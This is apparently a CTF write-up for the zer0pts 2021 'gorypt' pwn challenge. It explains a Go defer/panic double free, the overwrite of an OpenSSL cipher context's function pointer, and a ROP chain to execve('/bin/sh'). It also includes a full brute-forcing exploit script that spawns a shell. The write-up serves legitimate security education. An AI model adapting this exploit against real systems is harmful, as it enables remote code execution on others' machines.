Try   HackMD

gorypt - zer0pts CTF 2021

tags: zer0pts CTF 2021 pwn

Challenge Overview

A binary compiled with golang and its source code are given.
The program is a simple AES encryption service. It's pretty easy to spot the vulnerability.

/* Encrypt data with key and iv */
func encrypt(ibuf []byte, keybuf []byte, ivbuf []byte) {
        /* check buffer length */
        if len(ibuf) == 0 {
                panic("Empty data")
        }

        /* initialize input/output buffer */
        ilen := C.int(len(ibuf))
        obuf := C.malloc(C.ulong(ilen) + 16) // [0]
        defer C.free(obuf) // [1]

        /* output length and final length */
        var olen, flen C.int

        /* check key/iv length */
        if len(keybuf) == 0 || len(ivbuf) == 0 {
                C.free(obuf) // [2]
                panic("Empty key or iv")
        }
...

The buffer obuf is allocated at [0] by malloc. This pointer is supposed to be freed by the effect of defer at [1]. Basically, defer function is called when the execution goes out of the scope.
Also, obuf is freed at [2] and causes panic. This panic is captured in the main function and the program recovers.

defer func() {
  if err := recover(); err != nil {
    fmt.Printf("panic: %s\n", err)
  }
}()

In golang, defer has effect even if the execution went out of the function by panic. Because of this, the program may cause double free if len(keybuf) == 0 || len(ivbuf) == 0.

Solution

Controlling RIP

Let's see how we can use the double free vulnerability. The binary is statically linked and the libc version is (old) libc-2.27, which we all love.

ctx := C.EVP_CIPHER_CTX_new() // [a]
...
defer C.EVP_CIPHER_CTX_reset(ctx)
...
C.EVP_EncryptUpdate(ctx, (*C.uchar)(obuf), &olen, (*C.uchar)(&ibuf[0]), ilen) // [b]

At [a] allocates a buffer for the context. This is our target to overwrite because EVP_CIPHER has some function pointers. For example, EVP_CIPHER_CTX_reset calls the cleanup function pointer.
Also, [b] allocates a buffer for the ciphertext. Since we can double-free a buffer in advance, we can overlap the context and the ciphertext buffer. Then, the fake cleanup function pointer is used by the effect of defer and we can get RIP.

ROP

To get the shell, we have to do ROP because we don't have the address of libc, which means we can't call onegadget.
I used the ROP gadget shown below.

0x004548dd:
mov rsp, rbx ;
mov dword [rsp+0x38], eax ;
mov rbp, qword [rsp+0x10] ;
add rsp, 0x18 ;
ret  ;  (1 found)

rbp points to the buffer for EVP_CIPHER_CTX.
Since golang uses the stack for passing the arguments, our ROP looks like this:

    payload += p64(go_syscall3)
    payload += p64(go_exit)
    payload += p64(59)                 # rax
    payload += p64(addr_cipher + 0x30) # rdi
    payload += p64(0)                  # rsi
    payload += p64(0)                  # rdx

So, how can we prepare "/bin/sh" at a known address?

Runtime Stack

Golang uses its own runtime stack.

$ cat /proc/2056/maps
00400000-00850000 r-xp 00000000 00:00 0 
00850000-00a50000 ---p 00000000 00:00 0 
00a50000-00abd000 rw-p 00000000 00:00 0 
01f65000-01f88000 rw-p 00000000 00:00 0                                  [heap]
c000000000-c004000000 rw-p 00000000 00:00 0  <----- Runtime Staack
7f0dc4000000-7f0dc4021000 rw-p 00000000 00:00 0 
7f0dc4021000-7f0dc8000000 ---p 00000000 00:00 0 
7f0dc8000000-7f0dc8021000 rw-p 00000000 00:00 0 
...

The address of the runtime stack is fixed for each machine. It doesn't change for each execution but changes for each machine. We can guess this address by just few hundreds times of brute force. The base address of the runtime stack is always 0xc000000000 in this case.

Exploit

from ptrlib import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad def setkey(key): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", key.hex()) def setiv(iv): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", iv.hex()) def setdata(data): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", data.hex()) def encrypt(recv=True): sock.sendlineafter("> ", "4") if recv: plain = sock.recvlineafter(": ") cipher = sock.recvlineafter(": ") return cipher else: return None def decrypt(data, key, iv): aes = AES.new(key[:0x10], AES.MODE_CBC, iv[:0x10]) return aes.decrypt(data) """ 0) brute force to guess runetime stack address The base address of runtime stack in golang doesn't change in multiple execution. However, it may differ in multiple computers. The base address is aligned by 0x1000 and we can easily find it. The most lowest possible address is 0xc000000000. """ for i in range(0, 0x1000): sock = Socket("pwn.ctf.zer0pts.com", 9003) #sock = Process("../distfiles/chall") """ 1) double free The `free` statement before `panic` causes double free since `free` is alreadly called by the side effect of `defer`. """ setkey(b"") setdata(b"A" * 0x98) encrypt(recv=False) """ 2) Control RIP The buffer for ciphertext may overlap EVP_CIPHER_CTX. This can lead to arbitrary code execution. 0x004548dd: mov rsp, rbx ; mov dword [rsp+0x38], eax ; mov rbp, qword [rsp+0x10] ; add rsp, 0x18 ; ret ; (1 found) 0x00499905: pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret ; (451 found) """ addr_cipher = 0xc0000000a0 + 0x1000 * i go_syscall3 = 0x45CA75 go_exit = 0x454520 rop_stack_pivot = 0x004548dd rop_pop4 = 0x00499905 key = b'A' * 0x10 # fake EVP_CIPHER key += p32(0x1a3) # nid key += p32(0x10) # block_size key += p32(0x10) # key_len key += p32(0x10) # iv_len key += p64(0x1002) # flags key += p64(0xffffffffdeadbeef) # init key += p64(0xffffffffdeadbeee) # do_cipher key += p64(rop_stack_pivot) # cleanup key += b'/bin/sh\0' iv = b'B' * 0x10 setkey(key) setiv(iv) # fake EVP_CIPHER_CTX + ROP chain payload = p64(addr_cipher) # EVP_CIPHER payload += b'A' * 0x10 payload += p64(rop_pop4) payload += b'C' * 8 payload += b'D' * 8 payload += b'E' * 8 payload += b'F' * 8 payload += p64(go_syscall3) payload += p64(go_exit) payload += p64(59) # rax payload += p64(addr_cipher + 0x30) # rdi payload += p64(0) # rsi payload += p64(0) # rdx payload += b'A' * (0x88 - len(payload)) setdata(decrypt(pad(payload, 16), key, iv)) encrypt() try: r = sock.recv(timeout=1) except: break if b'stack' in r or b'fatal' in r: continue else: print(r) break sock.interactive()